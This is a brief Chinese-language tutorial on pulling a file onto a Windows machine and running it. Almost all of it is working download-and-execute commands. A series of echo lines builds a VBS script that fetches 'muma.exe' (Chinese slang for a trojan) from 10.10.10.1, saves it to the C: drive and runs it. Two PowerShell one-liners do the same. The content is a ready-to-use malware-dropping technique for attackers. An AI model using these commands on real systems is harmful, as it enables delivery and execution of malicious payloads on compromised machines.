vbs下载
通过写一个vbs脚本来下载文件
在windows机器中,命令行执行以下各条命令
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
echo Post.Open "GET","http://10.10.10.1/muma.exe",0 >>zl.vbs
echo Post.Send() >>zl.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
echo aGet.Mode = 3 >>zl.vbs
echo aGet.Type = 1 >>zl.vbs
echo aGet.Open() >>zl.vbs
echo aGet.Write(Post.responseBody) >>zl.vbs
echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo Shell.Run ("c:\zl.exe") >>zl.vbs
新建一个vbs文件,远程下载exe文件,并将其保存为zl.exe,随后运行该exe
注意,最后需要运行一下vbs文件
在linux中,可以直接使用wget命令下载文件
powershell下载文件
powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://10.10.10.1/muma.exe','c:\dao.exe');&"c:\dao.exe"
执行命令,下载exe保存并运行
还有一种语法,效果是一样的
powershell (New-Object Net.WebClient).DownloadFile('http://10.10.10.1/muma.exe','c:\you.exe');&"c:\you.exe"